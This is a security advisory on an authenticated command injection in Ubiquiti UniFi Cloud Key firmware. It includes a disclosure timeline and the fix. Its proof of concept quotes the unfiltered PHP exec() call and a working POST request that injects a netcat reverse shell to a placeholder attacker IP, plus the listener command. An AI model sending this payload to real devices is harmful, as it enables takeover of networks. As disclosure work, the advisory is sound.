Ubiquiti Networks UniFi Cloud Key Command Injection
Posted on 15 September 2017
SEC Consult Vulnerability Lab Security Advisory < 20170914-0 > ======================================================================= title: Authenticated Command Injection product: Ubiquiti Networks UniFi Cloud Key vulnerable version: Firmware version <=0.6.4 fixed version: Firmware version >=0.6.9 CVE number: - impact: High homepage: https://www.ubnt.com found: 2017-03-26 by: T. Weber (Office Vienna) SEC Consult Vulnerability Lab An integrated part of SEC Consult Bangkok - Berlin - Linz - Luxembourg - Montreal - Moscow Kuala Lumpur - Singapore - Vienna (HQ) - Vilnius - Zurich https://www.sec-consult.com ======================================================================= Vendor description: ------------------- "Ubiquiti Networks develops high-performance networking technology for service providers and enterprises. Our technology platforms focus on delivering highly advanced and easily deployable solutions that appeal to a global customer base in underserved and underpenetrated markets." Source: http://ir.ubnt.com/ Business recommendation: ------------------------ The patch supplied by the vendor should be installed immediately. There are indications for further security issues within this device, hence SEC Consult recommends performing a detailed review by security professionals. Vulnerability overview/description: ----------------------------------- 1) Authenticated Command Injection in Administrative Interface A change of the username with a hand crafted request leads to command injection in the administrative interface. This vulnerability can be exploited when the cloud key web interface is exposed to the internet. An attacker which can access the administrative web interface of the cloud key after cracking a cloud account password is able to execute arbitrary commands without access to the local network. Since the Ubiquiti switches also use the same credentials, the whole network can be compromised over this attack vector. Proof of concept: ----------------- 1) Authenticated Command Injection in Administrative Interface The following PHP code excerpt is responsible for the username command execution: (api.inc, line 455) ------------------------------------------------------------------------------- [...] function chusername($username) { exec(CMD_CHUSERNAME . ' ' . $username, $out, $rc); return $rc; } [...] ------------------------------------------------------------------------------- Since '$username' is not filtered, a command injection is possible. The following POST request opens a reverse-shell to the attacker: ------------------------------------------------------------------------------- POST /api/account HTTP/1.1 Host: $host User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: application/json, text/plain, */* Accept-Language: en-US,en;q=0.5 Content-Type: application/x-www-form-urlencoded X-Access-Token: <Token> Referer: https://$host/manage/maintenance Content-Length: 57 Cookie: CKSESSIONID=<Session-ID> Connection: close {"username":";busybox nc $attackerIP 8999 -e /bin/bash;"} ------------------------------------------------------------------------------- As listener, netcat was used: $ nc -lvp <Attacker-Port> Vulnerable / tested versions: ----------------------------- Ubiquiti Networks UniFi Cloud Key version 0.6.1 has been tested. This version was the latest at the time the security vulnerabilities were discovered. Version 0.6.4 has been checked and found to be vulnerable as well. Vendor contact timeline: ------------------------ 2017-03-29: Contacting vendor via HackerOne. Vendor sets status to "Triaged". 2017-04-24: Asking for a status update; No answer. 2017-05-06: Found update 0.6.4 on the website of the vendor, firmware is still vulnerable. 2017-05-15: Contacted vendor via e-mail and asked for status. 2017-06-01: Vendor sent a link to the fixed version 0.6.9. 2017-06-07: Verified the fix in this version. Vendor marked the issue as resolved. 2017-09-13: Public release of security advisory Solution: --------- Upgrade to v0.6.9 or above. https://community.ubnt.com/t5/UniFi-Updates-Blog/UniFi-Cloud-Key-firmware-0-6-9-has-been-released/ba-p/1974091 Workaround: ----------- None Advisory URL: ------------- https://www.sec-consult.com/en/vulnerability-lab/advisories/index.html ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ SEC Consult Vulnerability Lab SEC Consult Bangkok - Berlin - Linz - Luxembourg - Montreal - Moscow Kuala Lumpur - Singapore - Vienna (HQ) - Vilnius - Zurich About SEC Consult Vulnerability Lab The SEC Consult Vulnerability Lab is an integrated part of SEC Consult. It ensures the continued knowledge gain of SEC Consult in the field of network and application security to stay ahead of the attacker. The SEC Consult Vulnerability Lab supports high-quality penetration testing and the evaluation of new offensive and defensive technologies for our customers. Hence our customers obtain the most current information about vulnerabilities and valid recommendation about the risk profile of new technologies. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Interested to work with the experts of SEC Consult? Send us your application https://www.sec-consult.com/en/career/index.html Interested in improving your cyber security with the experts of SEC Consult? Contact our local offices https://www.sec-consult.com/en/contact/index.html ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Mail: research at sec-consult dot com Web: https://www.sec-consult.com Blog: http://blog.sec-consult.com Twitter: https://twitter.com/sec_consult EOF T. Weber / @2017
